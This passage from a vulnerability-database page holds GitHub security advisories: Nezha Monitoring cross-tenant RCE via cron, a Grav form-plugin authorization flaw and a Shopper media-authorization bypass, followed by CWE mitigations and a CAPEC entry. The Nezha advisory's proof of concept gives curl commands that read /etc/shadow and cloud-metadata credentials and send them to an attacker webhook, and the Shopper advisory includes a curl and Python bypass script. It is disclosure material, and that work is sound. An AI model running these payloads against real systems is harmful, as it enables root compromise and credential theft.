`cf.Servers == []`, the for-range runs zero times and returns `true`. So a member can submit a cron with `Servers=[]` and skip the permission check entirely.\n\n## The cross-tenant fanout sink\n\n```go\n// service/singleton/crontask.go:133-181\nfunc CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {\n crIgnoreMap := make(map[uint64]bool)\n for _, server := range cr.Servers {\n crIgnoreMap[server] = true\n }\n return func() {\n if cr.Cover == model.CronCoverAlertTrigger {\n // ... (alert-only path; not used here)\n return\n }\n\n // BUG: iterates EVERY server in global state, no per-server permission check.\n for _, s := range ServerShared.Range {\n if cr.Cover == model.CronCoverAll \u0026\u0026 crIgnoreMap[s.ID] {\n continue // skip ignored\n }\n if cr.Cover == model.CronCoverIgnoreAll \u0026\u0026 !crIgnoreMap[s.ID] {\n continue\n }\n if s.TaskStream != nil {\n s.TaskStream.Send(\u0026pb.Task{\n Id: cr.ID,\n Data: cr.Command, // \u003c-- shell command, run as agent UID (often root)\n Type: model.TaskTypeCommand,\n })\n }\n }\n }\n}\n```\n\nCompare with the **service**-task path, which DOES gate per-server (`canSendTaskToServer` at `cmd/dashboard/rpc/rpc.go:179-190` enforces `task.UserID == server.UserID || taskOwnerIsAdmin`). The cron path skips that check entirely.\n\n## The output-exfil channel\n\n```go\n// service/rpc/nezha.go:56-76\ncase model.TaskTypeCommand:\n cr, _ := singleton.CronShared.Get(result.GetId())\n if cr != nil {\n var curServer model.Server\n copier.Copy(\u0026curServer, server)\n if cr.PushSuccessful \u0026\u0026 result.GetSuccessful() {\n singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Successfully\"),\n cr.Name, server.Name, result.GetData()), \"\", \u0026curServer)\n }\n if !result.GetSuccessful() {\n singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Failed\"),\n cr.Name, server.Name, result.GetData()), \"\", \u0026curServer)\n }\n }\n```\n\n`result.GetData()` is the agent\u0027s stdout/stderr. With `cr.PushSuccessful = true` set by the attacker, the command output is exfil\u0027d to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via `POST /api/v1/notification`) and Groups (`POST /api/v1/notification-group`), and these are owned by the member \u2014 `NotificationShared.CheckPermission` passes. So the attacker creates a member-owned webhook pointing at `https://attacker.example.com/exfil`, then references it in the cron.\n\n## End-to-end PoC\n\nPre-conditions: attacker has `RoleMember` credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.\n\nStep 0: Get JWT (standard login).\n\n```bash\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"member\",\"password\":\"hunter2\"}\u0027 \\\n http://nezha.example.com/api/v1/login | jq -r .token)\n```\n\nStep 1: Create a webhook notification + group owned by the member, pointing at attacker server.\n\n```bash\nNID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"x\",\"url\":\"https://webhook.site/\u003cattacker\u003e\",\"request_method\":2,\"request_type\":1,\"verify_tls\":false,\"skip_check\":true}\u0027 \\\n http://nezha.example.com/api/v1/notification | jq -r .data)\n\nGID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"name\\\":\\\"g\\\",\\\"notifications\\\":[$NID]}\" \\\n http://nezha.example.com/api/v1/notification-group | jq -r .data)\n```\n\nStep 2: Create the cross-tenant cron.\n\n```bash\ncurl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"name\\\":\\\"x\\\",\\\"task_type\\\":0,\\\"scheduler\\\":\\\"*/1 * * * * *\\\",\\\"command\\\":\\\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"servers\\\":[],\\\"cover\\\":1,\\\"push_successful\\\":true,\\\"notification_group_id\\\":$GID}\" \\\n http://nezha.example.com/api/v1/cron\n```\n\nStep 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker\u0027s webhook with the per-server hostname. From `c1c1cd1.../webhook.site/\u003cattacker\u003e`:\n\n```\n[Scheduled Task Executed Successfully] x, admin-prod-db-01\nuid=0(root) gid=0(root) groups=0(root)\nadmin-prod-db-01.internal\nroot:$6$KfTdXrLP$...\nASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token\n```\n\n(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)\n\n## Reachability \u2014 additional notes\n\n- Default deployment: there is no requirement that an admin even creates a member account explicitly \u2014 the dashboard may have OAuth2 self-registration via `singleton.Conf.Oauth2[provider]`. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that\u0027s near-pre-auth RCE.\n- The nezha agent typically runs as **root** (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses `sudo systemctl`.\n- The attack works whether `Cover=CronCoverAll` (deny-list, empty) or `Cover=CronCoverIgnoreAll` (allow-list \u2014 but you\u0027d need server IDs you don\u0027t own, which requires a separate enumeration step). `Cover=CronCoverAll, Servers=[]` is the simplest payload.\n\n## Suggested fix\n\n1. **Switch `/cron` writes to `adminHandler`.** Same fix as the `/user` and `/setting` routes already use.\n\n ```go\n auth.POST(\"/cron\", adminHandler(createCron))\n auth.PATCH(\"/cron/:id\", adminHandler(updateCron))\n auth.GET(\"/cron/:id/manual\", adminHandler(manualTriggerCron))\n auth.POST(\"/batch-delete/cron\", adminHandler(batchDeleteCron))\n ```\n\n2. **Per-server permission gate in `CronTrigger`.** Defense-in-depth: even an admin should not push a cron task to a server they don\u0027t own. Add the equivalent of `canSendTaskToServer(task, server)` (already used in `service/rpc/rpc.go:179-190` for service tasks) before each `s.TaskStream.Send()`:\n\n ```go\n for _, s := range ServerShared.Range {\n if cr.UserID != s.UserID \u0026\u0026 !cronOwnerIsAdmin(cr) {\n continue\n }\n // ... existing send logic\n }\n ```\n\n3. **Reject empty `Servers` for `Cover=CronCoverAll`.** A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:\n\n ```go\n if cf.Cover == model.CronCoverAll \u0026\u0026 len(cf.Servers) == 0 {\n return 0, errors.New(\"a cover-all cron must explicitly list at least one ignored server\")\n }\n ```\n\n4. Optional: forbid `cf.PushSuccessful=true` for non-admin to slow down the output-exfil step.\n\n## Severity\n\n- **CVSS 3.1:** Critical \u2014 `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` \u2248 9.0.\n - PR:L because attacker needs `RoleMember` (admin-issued, or OAuth2 auto-bind).\n - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).\n - C/I/A:H because RCE-as-root is the primary impact.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n- **CWE:** CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`.\n- Code locations:\n - Auth gate: `cmd/dashboard/controller/controller.go:131-135` (commonHandler), 214-236 (handler defs)\n - Bypass: `cmd/dashboard/controller/cron.go:53-55` (vacuous-true `CheckPermission` on empty `cf.Servers`)\n - Sink: `service/singleton/crontask.go:133-181` (`CronTrigger` iterates all servers)\n - Output exfil: `service/rpc/nezha.go:56-76`\n - Comparison (correct gating): `cmd/dashboard/rpc/rpc.go:179-190` (`canSendTaskToServer` for service tasks)\n\n## Reporter\n\nEddie Ran. Filed via the GitHub Security Advisory reporter API. nezha\u0027s `SECURITY.md` mentions email `hi@nai.ba`; happy to follow up there if the maintainer prefers email coordination.\n\nThis is a follow-up to the same auth-bypass class as `GHSA-w4g9-mxgg-j532` (NEZHA-001 \u2014 `/notification` SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.\n\n---\n\n## Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)\n\nFiling channel issue: `nezhahq/agent` has private vulnerability reporting disabled (verified via `GET /repos/nezhahq/agent/private-vulnerability-reporting`), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.\n\n**Summary.** The dashboard\u2192agent control channel uses plaintext gRPC by default. `agentConfig.TLS` zero-value is `false`; the install script\u0027s `[y/N]` prompt defaults to `false`. `AuthHandler.RequireTransportSecurity()` returns `false`. An on-path attacker on the dashboard\u2194agent network path captures `client_secret`+`client_uuid`, terminates the agent\u0027s TCP connection, and injects a `CommandTask` over plaintext gRPC. The agent runs the task via `sh -c \u003cattacker-string\u003e` as the systemd-installed UID (typically root).\n\n**Adjacent-network attack vector** (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).\n\n**Why filable.** This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) \u2014 those findings all implicitly assume a trusted dashboard\u2192agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.\n\n**Severity:** High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.\n\n**Suggested fix.**\n1. Make TLS the install-script default (`[Y/n]`) instead of `[y/N]`.\n2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard\u0027s published key on first connect; refuse plaintext.\n3. Add `AuthHandler.RequireTransportSecurity()` returning `true` unconditionally.\n4. Document this as a **must-enable** in the agent install README.\n\nDisclosure draft is on file in the moneyhunter campaign workspace under `findings/NEZHA-AGENT-001-DISCLOSURE.md` and `findings/NEZHA-AGENT-001.yaml` \u2014 happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on `nezhahq/agent`).\n\n\u2014 Eddie Ran",
"id": "GHSA-99gv-2m7h-3hh9",
"modified": "2026-06-26T21:28:22Z",
"published": "2026-05-23T00:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46716"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron"
}
GHSA-99H4-PMFQ-PV63
Vulnerability from github – Published: 2026-09-05 15:30 – Updated: 2026-09-05 15:30Grav Form Plugin before 9.1.22 fails to verify page authorization when resolving forms by name across pages, allowing anonymous visitors to execute form actions defined on login-restricted or unpublished pages. Attackers can POST to any public page with a restricted form's name to trigger save, upload, email, or call actions without authentication.
{
"affected": [],
"aliases": [
"CVE-2026-86194"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-05T13:18:14Z",
"severity": "MODERATE"
},
"details": "Grav Form Plugin before 9.1.22 fails to verify page authorization when resolving forms by name across pages, allowing anonymous visitors to execute form actions defined on login-restricted or unpublished pages. Attackers can POST to any public page with a restricted form\u0027s name to trigger save, upload, email, or call actions without authentication.",
"id": "GHSA-99h4-pmfq-pv63",
"modified": "2026-09-05T15:30:25Z",
"published": "2026-09-05T15:30:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-33m4-m988-5fvh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86194"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-form-plugin-before-9.1.22-cross-page-form-execution"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-99H5-JHH7-V3R3
Vulnerability from github – Published: 2026-09-11 21:30 – Updated: 2026-09-11 21:30Title
Missing authorization on Media sub-form store action allows unpermissioned product media update
Description
A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)
Affected files
packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76
// Lines 64-76 - store() with no authorize() call
public function store(): void
{
$this->validate();
$this->product->update($this->form->getState()); // overwrites thumbnail + gallery media
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
The five sibling components that were fixed in commit fcd0c59 each now have:
public function store(): void
{
$this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files
// ...
}
Media.store() does not.
Steps to reproduce
Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.
SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
# Step 1: Load a product edit page as an admin to obtain the Media component's
# Livewire snapshot ID and the product's public ID.
# The component snapshot appears in the HTML source as data-livewire-snapshot.
# Step 2: As the low-privilege browse-only session, call store() on the Media component,
# pointing at the captured component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "<snapshot JSON from page source with product locked>",
"updates": {},
"calls": [{"path":"","method":"store","params":[]}]
}]
}'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.
Proof of concept
#!/usr/bin/env python3
"""
Media component authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE laravel_session cookie value (browse-only staff session)
XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value
SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component
(copy from data-livewire-snapshot in the product edit page source)
The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{'path': '', 'method': 'store', 'params': []}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.
Suggested fix
// packages/admin/src/Livewire/Components/Products/Form/Media.php
public function store(): void
{
$this->authorize('edit_products'); // add this line
$this->validate();
$this->product->update($this->form->getState());
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopper/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56830"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T21:30:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Title\n\nMissing authorization on Media sub-form store action allows unpermissioned product media update\n\n## Description\n\nA lack of authorization control on the `store()` method was found in `packages/admin/src/Livewire/Components/Products/Form/Media.php`. The security fix released for GHSA-h4mp-g9c6-xwph added `#[Locked]` to the `$product` property in this file but did not add an `authorize()` call to `store()`. The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only `browse_products`, can invoke `store()` on this component to replace the thumbnail and gallery images for any product without holding `edit_products`. Because `$product` is now `#[Locked]`, the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76`\n\n```php\n// Lines 64-76 - store() with no authorize() call\npublic function store(): void\n{\n $this-\u003evalidate();\n\n $this-\u003eproduct-\u003eupdate($this-\u003eform-\u003egetState()); // overwrites thumbnail + gallery media\n\n $this-\u003edispatch(\u0027product.updated\u0027);\n\n Notification::make()\n -\u003ebody(__(\u0027shopper::pages/products.notifications.media_update\u0027))\n -\u003esuccess()\n -\u003esend();\n}\n```\n\nThe five sibling components that were fixed in commit fcd0c59 each now have:\n\n```php\npublic function store(): void\n{\n $this-\u003eauthorize(\u0027edit_products\u0027); // present in Edit, Inventory, Seo, Shipping, Files\n // ...\n}\n```\n\n`Media.store()` does not.\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account whose role holds `browse_products` but NOT `edit_products`.\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"\u003curl-decoded-XSRF-TOKEN-cookie-value\u003e\"\n\n# Step 1: Load a product edit page as an admin to obtain the Media component\u0027s\n# Livewire snapshot ID and the product\u0027s public ID.\n# The component snapshot appears in the HTML source as data-livewire-snapshot.\n\n# Step 2: As the low-privilege browse-only session, call store() on the Media component,\n# pointing at the captured component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n -H \"Content-Type: application/json\" \\\n -H \"X-XSRF-TOKEN: $XSRF\" \\\n -H \"Cookie: $SESSION\" \\\n -H \"X-Livewire: 1\" \\\n -d \u0027{\n \"components\": [{\n \"snapshot\": \"\u003csnapshot JSON from page source with product locked\u003e\",\n \"updates\": {},\n \"calls\": [{\"path\":\"\",\"method\":\"store\",\"params\":[]}]\n }]\n }\u0027\n# Expected: HTTP 200, product thumbnail and images updated without edit_products.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nMedia component authorization bypass PoC.\n\nSet these environment variables before running:\n BASE_URL e.g. http://localhost\n SESSION_COOKIE laravel_session cookie value (browse-only staff session)\n XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value\n SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component\n (copy from data-livewire-snapshot in the product edit page source)\n\nThe snapshot already contains the locked product ID, so no ID substitution is needed.\nThe bypass is purely the missing authorize() on store().\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ[\u0027BASE_URL\u0027]\nsession = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf = os.environ[\u0027XSRF_TOKEN\u0027]\nsnapshot = os.environ[\u0027SNAPSHOT_JSON\u0027]\n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n \u0027X-XSRF-TOKEN\u0027: xsrf,\n \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\npayload = {\n \u0027components\u0027: [{\n \u0027snapshot\u0027: snapshot,\n \u0027updates\u0027: {},\n \u0027calls\u0027: [{\u0027path\u0027: \u0027\u0027, \u0027method\u0027: \u0027store\u0027, \u0027params\u0027: []}]\n }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member with only `browse_products` can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/Form/Media.php\n\npublic function store(): void\n{\n $this-\u003eauthorize(\u0027edit_products\u0027); // add this line\n\n $this-\u003evalidate();\n\n $this-\u003eproduct-\u003eupdate($this-\u003eform-\u003egetState());\n\n $this-\u003edispatch(\u0027product.updated\u0027);\n\n Notification::make()\n -\u003ebody(__(\u0027shopper::pages/products.notifications.media_update\u0027))\n -\u003esuccess()\n -\u003esend();\n}\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-99h5-jhh7-v3r3",
"modified": "2026-09-11T21:30:14Z",
"published": "2026-09-11T21:30:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopperlabs/shopper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.